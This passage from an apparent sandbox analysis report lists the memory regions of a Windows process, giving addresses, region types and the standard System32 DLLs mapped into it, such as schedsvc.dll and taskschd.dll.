0x1000c0000 end_va = 0x1000c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001000c0000" filename = "" Region: id = 3851 start_va = 0x1000d0000 end_va = 0x1000d1fff entry_point = 0x0 region_type = private name = "private_0x00000001000d0000" filename = "" Region: id = 3858 start_va = 0x100140000 end_va = 0x10023ffff entry_point = 0x0 region_type = private name = "private_0x0000000100140000" filename = "" Region: id = 3859 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3860 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3861 start_va = 0x100000000 end_va = 0x10000ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000100000000" filename = "" Region: id = 3862 start_va = 0x7ff617c20000 end_va = 0x7ff617d1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff617c20000" filename = "" Region: id = 3863 start_va = 0x100240000 end_va = 0x1002bdfff entry_point = 0x100240000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3864 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3865 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3866 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3867 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3868 start_va = 0x1002c0000 end_va = 0x1003bffff entry_point = 0x0 region_type = private name = "private_0x00000001002c0000" filename = "" Region: id = 3869 start_va = 0x100010000 end_va = 0x100016fff entry_point = 0x0 region_type = private name = "private_0x0000000100010000" filename = "" Region: id = 3870 start_va = 0x1002c0000 end_va = 0x100379fff entry_point = 0x1002ec768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3871 start_va = 0x1003b0000 end_va = 0x1003bffff entry_point = 0x0 region_type = private name = "private_0x00000001003b0000" filename = "" Region: id = 3872 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3873 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3874 start_va = 0x1000e0000 end_va = 0x1000e6fff entry_point = 0x0 region_type = private name = "private_0x00000001000e0000" filename = "" Region: id = 3875 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3876 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3877 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3878 start_va = 0x1002c0000 end_va = 0x10037ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001002c0000" filename = "" Region: id = 3879 start_va = 0x1003c0000 end_va = 0x100547fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001003c0000" filename = "" Region: id = 3880 start_va = 0x100550000 end_va = 0x1006d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000100550000" filename = "" Region: id = 3881 start_va = 0x1000f0000 end_va = 0x1000f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001000f0000" filename = "" Region: id = 3882 start_va = 0x100100000 end_va = 0x100100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000100100000" filename = "" Region: id = 3883 start_va = 0x100110000 end_va = 0x100110fff entry_point = 0x0 region_type = private name = "private_0x0000000100110000" filename = "" Region: id = 3884 start_va = 0x100120000 end_va = 0x100120fff entry_point = 0x0 region_type = private name = "private_0x0000000100120000" filename = "" Region: id = 3885 start_va = 0x1006e0000 end_va = 0x100ad9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001006e0000" filename = "" Region: id = 3897 start_va = 0x100ae0000 end_va = 0x100b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000100ae0000" filename = "" Region: id = 3898 start_va = 0x100b60000 end_va = 0x100bdffff entry_point = 0x0 region_type = private name = "private_0x0000000100b60000" filename = "" Region: id = 3899 start_va = 0x100be0000 end_va = 0x100eb4fff entry_point = 0x100be0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3900 start_va = 0x7ff617d48000 end_va = 0x7ff617d49fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d48000" filename = "" Region: id = 3901 start_va = 0x7ff617d4a000 end_va = 0x7ff617d4bfff entry_point = 0x0 region_type = private name = "private_0x00007ff617d4a000" filename = "" Region: id = 3913 start_va = 0x100ec0000 end_va = 0x100f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000100ec0000" filename = "" Region: id = 3914 start_va = 0x7ff617d46000 end_va = 0x7ff617d47fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d46000" filename = "" Region: id = 3915 start_va = 0x7ffd19440000 end_va = 0x7ffd19586fff entry_point = 0x7ffd19440000 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 3916 start_va = 0x100f40000 end_va = 0x100fbffff entry_point = 0x0 region_type = private name = "private_0x0000000100f40000" filename = "" Region: id = 3917 start_va = 0x7ff617d44000 end_va = 0x7ff617d45fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d44000" filename = "" Region: id = 3918 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 3919 start_va = 0x7ffd1f3b0000 end_va = 0x7ffd1f409fff entry_point = 0x7ffd1f3b0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 3920 start_va = 0x7ffd1bea0000 end_va = 0x7ffd1bec2fff entry_point = 0x7ffd1bea10a0 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 3921 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3922 start_va = 0x7ffd195e0000 end_va = 0x7ffd19646fff entry_point = 0x7ffd195e10b4 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 3923 start_va = 0x7ffd1bb90000 end_va = 0x7ffd1bb9afff entry_point = 0x7ffd1bb931d4 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 3931 start_va = 0x7ffd19590000 end_va = 0x7ffd195a8fff entry_point = 0x7ffd19590000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 3935 start_va = 0x7ffd19400000 end_va = 0x7ffd1943afff entry_point = 0x7ffd19400000 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 3936 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 3937 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3938 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 3939 start_va = 0x100fc0000 end_va = 0x101136fff entry_point = 0x100fc10b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3940 start_va = 0x100fc0000 end_va = 0x10108ffff entry_point = 0x0 region_type = private name = "private_0x0000000100fc0000" filename = "" Region: id = 3941 start_va = 0x7ffd193e0000 end_va = 0x7ffd193f0fff entry_point = 0x7ffd193e0000 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 3942 start_va = 0x7ffd193b0000 end_va = 0x7ffd193d3fff entry_point = 0x7ffd193b0000 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 3988 start_va = 0x7ffd19380000 end_va = 0x7ffd193a7fff entry_point = 0x7ffd19380000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 3990 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 3991 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 3992 start_va = 0x7ffd192c0000 end_va = 0x7ffd192dafff entry_point = 0x7ffd192c0000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 3993 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3997 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 4018 start_va = 0x100fc0000 end_va = 0x10103ffff entry_point = 0x0 region_type = private name = "private_0x0000000100fc0000" filename = "" Region: id = 4019 start_va = 0x101080000 end_va = 0x10108ffff entry_point = 0x0 region_type = private name = "private_0x0000000101080000" filename = "" Region: id = 4020 start_va = 0x7ff617c1e000 end_va = 0x7ff617c1ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617c1e000" filename = "" Region: id = 4021 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 4023 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a0000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 4026 start_va = 0x7ffd1c350000 end_va = 0x7ffd1c38cfff entry_point = 0x7ffd1c3511a0 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 4027 start_va = 0x7ffd1c580000 end_va = 0x7ffd1c5d6fff entry_point = 0x7ffd1c581a70 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 4028 start_va = 0x7ffd19290000 end_va = 0x7ffd19298fff entry_point = 0x7ffd19290000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 4029 start_va = 0x100130000 end_va = 0x100130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000100130000" filename = "" Region: id = 4030 start_va = 0x101090000 end_va = 0x10110ffff entry_point = 0x0 region_type = private name = "private_0x0000000101090000" filename = "" Region: id = 4031 start_va = 0x7ff617c1c000 end_va = 0x7ff617c1dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617c1c000" filename = "" Region: id = 4032 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4033 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 4034 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4035 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 4036 start_va = 0x101110000 end_va = 0x10118ffff entry_point = 0x0 region_type = private name = "private_0x0000000101110000" filename = "" Region: id = 4037 start_va = 0x7ff617c1a000 end_va = 0x7ff617c1bfff entry_point = 0x0 region_type = private name = "private_0x00007ff617c1a000" filename = "" Region: id = 4038 start_va = 0x7ffd19270000 end_va = 0x7ffd19286fff entry_point = 0x7ffd19270000 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 4039 start_va = 0x100380000 end_va = 0x100380fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000100380000" filename = "" Region: id = 4080 start_va = 0x100390000 end_va = 0x100390fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000100390000" filename = "" Region: id = 4081 start_va = 0x7ffd190d0000 end_va = 0x7ffd1926cfff entry_point = 0x7ffd190d0000 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4085 start_va = 0x100b60000 end_va = 0x100bdffff entry_point = 0x0 region_type = private name = "private_0x0000000100b60000" filename = "" Region: id = 4086 start_va = 0x7ff617d48000 end_va = 0x7ff617d49fff entry_point = 0x0 region_type = private name = "private_0x00007ff617d48000" filename = "" Region: id = 4099 start_va = 0x101090000 end_va = 0x10110ffff entry_point = 0x0 region_type = private name = "private_0x0000000101090000" filename = "" Region: id = 4100 start_va = 0x7ff617c1c000 end_va = 0x7ff617c1dfff entry_point = 0x0 region_type = private name = "private_0x00007ff617c1c000" filename = "" Region: id = 4108 start_va = 0x7ffd18f10000 end_va = 0x7ffd18f35fff entry_point = 0x7ffd18f10000 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 4109 start_va = 0x1003a0000 end_va = 0x1003a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001003a0000" filename = "" Region: id = 4120 start_va = 0x7ffd19d70000 end_va = 0x7ffd19d7afff entry_point = 0x7ffd19d71010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 4311 start_va = 0x101190000 end_va = 0x10120ffff entry_point = 0x0 region_type = private name = "private_0x0000000101190000" filename = "" Region: id = 4312 start_va = 0x7ff617c18000 end_va = 0x7ff617c19fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c18000" filename = "" Region: id = 4313 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4314 start_va = 0x7ffd195b0000 end_va = 0x7ffd195dffff entry_point = 0x7ffd195b5ca0 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 4322 start_va = 0x101210000 end_va = 0x10128ffff entry_point = 0x0 region_type = private name = "private_0x0000000101210000" filename = "" Region: id = 4323 start_va = 0x7ff617c16000 end_va = 0x7ff617c17fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c16000" filename = "" Region: id = 4324 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4329 start_va = 0x7ffd18ec0000 end_va = 0x7ffd18eddfff entry_point = 0x7ffd18ec205c region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 4392 start_va = 0x1003a0000 end_va = 0x1003a0fff entry_point = 0x0 region_type = private name = "private_0x00000001003a0000" filename = "" Region: id = 4393 start_va = 0x7ffd18ee0000 end_va = 0x7ffd18f0ffff entry_point = 0x7ffd18ee131c region_type = mapped_file name = "shacct.dll" filename = "\\Windows\\System32\\shacct.dll" (normalized: "c:\\windows\\system32\\shacct.dll") Region: id = 4394 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 4395 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 4396 start_va = 0x1003a0000 end_va = 0x1003a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000001003a0000" filename = "" Region: id = 4401 start_va = 0x7ffd18290000 end_va = 0x7ffd1834bfff entry_point = 0x7ffd18290000 region_type = mapped_file name = "settingsynccore.dll" filename = "\\Windows\\System32\\SettingSyncCore.dll" (normalized: "c:\\windows\\system32\\settingsynccore.dll") Region: id = 4413 start_va = 0x101040000 end_va = 0x101042fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000101040000" filename = "" Region: id = 4501 start_va = 0x101290000 end_va = 0x10130ffff entry_point = 0x0 region_type = private name = "private_0x0000000101290000" filename = "" Region: id = 4502 start_va = 0x7ff617c14000 end_va = 0x7ff617c15fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c14000" filename = "" Region: id = 4504 start_va = 0x7ffd18d30000 end_va = 0x7ffd18d53fff entry_point = 0x7ffd18d310b0 region_type = mapped_file name = "idstore.dll" filename = "\\Windows\\System32\\IDStore.dll" (normalized: "c:\\windows\\system32\\idstore.dll") Region: id = 4505 start_va = 0x7ffd18170000 end_va = 0x7ffd1817bfff entry_point = 0x7ffd18170000 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 4506 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4507 start_va = 0x7ffd1ce20000 end_va = 0x7ffd1cff6fff entry_point = 0x7ffd1ce210a4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 4508 start_va = 0x7ffd19f70000 end_va = 0x7ffd19f80fff entry_point = 0x7ffd19f71080 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 4509 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f30000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 4510 start_va = 0x7ffd1cd50000 end_va = 0x7ffd1cd61fff entry_point = 0x7ffd1cd510f4 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 4521 start_va = 0x101310000 end_va = 0x10138ffff entry_point = 0x0 region_type = private name = "private_0x0000000101310000" filename = "" Region: id = 4522 start_va = 0x7ff617c12000 end_va = 0x7ff617c13fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c12000" filename = "" Region: id = 4523 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 4524 start_va = 0x7ffd17be0000 end_va = 0x7ffd17c7cfff entry_point = 0x7ffd17be0000 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 4525 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 4526 start_va = 0x7ffd1bed0000 end_va = 0x7ffd1bedcfff entry_point = 0x7ffd1bed107c region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 4528 start_va = 0x101390000 end_va = 0x10140ffff entry_point = 0x0 region_type = private name = "private_0x0000000101390000" filename = "" Region: id = 4529 start_va = 0x7ff617c10000 end_va = 0x7ff617c11fff entry_point = 0x0 region_type = private name = "private_0x00007ff617c10000" filename = "" Region: id = 4530 start_va = 0x7ffd17ab0000 end_va = 0x7ffd17bd9fff entry_point = 0x7ffd17ab0000 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 4531 start_va = 0x7ffd17a70000 end_va = 0x7ffd17aa4fff entry_point = 0x7ffd17a70000 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 4532 start_va = 0x7ffd1bf60000 end_va = 0x7ffd1bfa7fff entry_point = 0x7ffd1bf6108c region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 4533 start_va = 0x7ffd1bee0000 end_va = 0x7ffd1beedfff entry_point = 0x7ffd1bee3090 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 4534 start_va = 0x7ffd17a60000 end_va = 0x7ffd17a6afff entry_point = 0x7ffd17a60000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 4535 start_va = 0x7ffd197f0000 end_va = 0x7ffd19827fff entry_point = 0x7ffd197f1034 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 4536 start_va = 0x7ffd1c0a0000 end_va = 0x7ffd1c0a7fff entry_point = 0x7ffd1c0a2774 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 4537 start_va = 0x7ffd17a50000 end_va = 0x7ffd17a59fff entry_point = 0x7ffd17a50000 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 4538 start_va = 0x7ffd1c090000 end_va = 0x7ffd1c09afff entry_point = 0x7ffd1c0942fc region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 4539 start_va = 0x101410000 end_va = 0x10155ffff entry_point = 0x0 region_type = private name = "private_0x0000000101410000" filename = "" Region: id = 4541 start_va = 0x101410000 end_va = 0x10148ffff entry_point = 0x0 region_type = private name = "private_0x0000000101410000" filename = "" Region: id = 4542 start_va = 0x101550000 end_va = 0x10155ffff entry_point = 0x0 region_type = private name = "private_0x0000000101550000" filename = "" Region: id = 4543 start_va = 0x101560000 end_va = 0x10165ffff entry_point = 0x0 region_type = private name = "private_0x0000000101560000" filename = "" Region: id = 4544 start_va = 0x7ff617c0e000 end_va = 0x7ff617c0ffff entry_point = 0x0 region_type = private name = "private_0x00007ff617c0e000" filename = "" Region: id = 4545 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 4549 start_va = 0x7ffd18350000 end_va = 0x7ffd1835dfff entry_point = 0x7ffd18356f88 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 4550 start_va = 0x101050000 end_va = 0x101050fff entry_point = 0x0 region_type = private name = "private_0x0000000101050000" filename = "" Region: id = 4551 start_va = 0x101050000 end_va = 0x101050fff entry_point = 0x0 region_type = private name = "private_0x0000000101050000" filename = "" Region: id = 4552 start_va = 0x101050000 end_va = 0x101050fff entry_point = 0x0 region_type = private name = "private_0x0000000101050000" filename = "" Region: id = 4553 start_va = 0x101050000 end_va = 0x101050fff entry_point = 0x0 region_type = private name = "private_0x0000000101050000" filename = "" Region: id = 4554 start_va = 0x101050000 end_va = 0x101050fff entry_point = 0x0 region_type = private name = "private_0x0000000101050000" filename = "" Region: id = 4555 start_va = 0x101050000 end_va = 0x101050fff entry_point = 0x0 region_type = private name = "private_0x0000000101050000" filename = "" Region: id = 4556 start_va = 0x101050000 end_va = 0x101050fff entry_point = 0x0 region_type = private name = "private_0x0000000101050000" filename = "" Region: id = 4557 start_va = 0x101050000 end_va = 0x101050fff entry_point = 0x0 region_type = private name = "private_0x0000000101050000" filename = "" Region: id = 4558 start_va = 0x101050000 end_va = 0x101050fff entry_point = 0x0 region_type = private name = "private_0x0000000101050000" filename = "" Region: id = 4559 start_va = 0x101050000 end_va = 0x101050fff entry_point = 0x0 region_type = private name = "private_0x0000000101050000" filename = "" Region: id = 4560 start_va = 0x101490000 end_va = 0x10150ffff entry_point = 0x0 